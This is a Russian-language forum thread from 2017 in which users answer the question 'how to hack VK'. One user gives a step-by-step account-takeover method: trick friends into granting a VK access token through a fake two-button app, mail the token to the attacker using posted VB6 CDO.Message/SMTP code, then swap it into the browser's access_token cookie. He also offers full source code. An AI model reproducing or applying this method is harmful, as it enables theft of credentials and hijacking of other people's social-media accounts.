Загрузка...

Как взломать вк?

Тема в разделе Летний вайб создана пользователем DeRzKiY_inactive44008 29 янв 2017. (поднята 29 янв 2017) 1192 просмотра

  1. kirrill_inactive68999
    я токеном друзей поломал)))
     
  2. kageno
    kageno 29 янв 2017 104 12 дек 2016
    Я знаю как токеном ломать, но это не актуально сейчас
     
  3. VzLoMcHiK78
    VzLoMcHiK78 29 янв 2017 Заблокирован(а) 170 11 авг 2016
    сможешь мне обьяснить как это?))
     
  4. kirrill_inactive68999
    ой ну там писать много
     
  5. kirrill_inactive68999
    Короче создаешь приложение на любом языке, главное чтобы при нажатии кнопки отправить это все шло тебе на почту
    'Задаем переменные и присваиваем им созданный объект CDO.Message и конфиг
    Dim o_Mess As Object, v_Conf As String
    Set o_Mess = CreateObject("CDO.Message")
    v_Conf = "http://schemas.microsoft.com/cdo/configuration/"

    With o_Mess
    .To = "to@mail.ru" 'e-mail, кому придут данные
    .From = "from@mail.ru" 'e-mail, от кого придут данные
    .Subject = "Subject" 'тема сообщения
    .TextBody = "Message here" 'текст сообщения

    With .Configuration.Fields
    .Item(v_Conf & "sendusing") = 2
    .Item(v_Conf & "smtpserver") = "smtp.mail.ru" 'используем сервер
    .Item(v_Conf & "smtpauthenticate") = 1
    .Item(v_Conf & "sendusername") = "from@mail.ru" 'логин
    .Item(v_Conf & "sendpassword") = "password" 'пароль
    .Item(v_Conf & "smtpserverport") = 465 'порт, SSL использует 465, если без - 25
    .Item(v_Conf & "smtpusessl") = True 'если True, то используем SSL, False - нет
    .Item(v_Conf & "smtpconnectiontimeout") = 60
    .Update
    End With
    .send
    End With
    приложение 2 кнопки: первая открывает ссылку по нажатию для получения токена, 2 кнопка отсылает тебе и пишет MsgBox типо добавлены в базу и тд СИ в помощь.
    Когда тебе пришел токен, идешь на сайт

    заходишь под своим именем, ставишь расширение edit this cookie находишь в нем на сайте access_token(вроде так) и меняешь на тот который тебе прислал человек
     
  6. DeRzKiY_inactive44008
    DeRzKiY_inactive44008 Автор темы 29 янв 2017 Заблокирован(а) 17 21 июл 2016
    Слооожно
     
  7. kirrill_inactive68999
    могу дать исходники кода на vb6 на нем мне проще
     
  8. kageno
    kageno 29 янв 2017 104 12 дек 2016
    Не мучайся(Внизу не реклама)
     
  9. kirrill_inactive68999
    вот оно самое, хотел кинуть, просто я им с получением токена рассказывал
     
  10. kageno
    kageno 29 янв 2017 104 12 дек 2016
    Я понял)(Спасибо за потраченное время)время ценное
     
Загрузка...
Top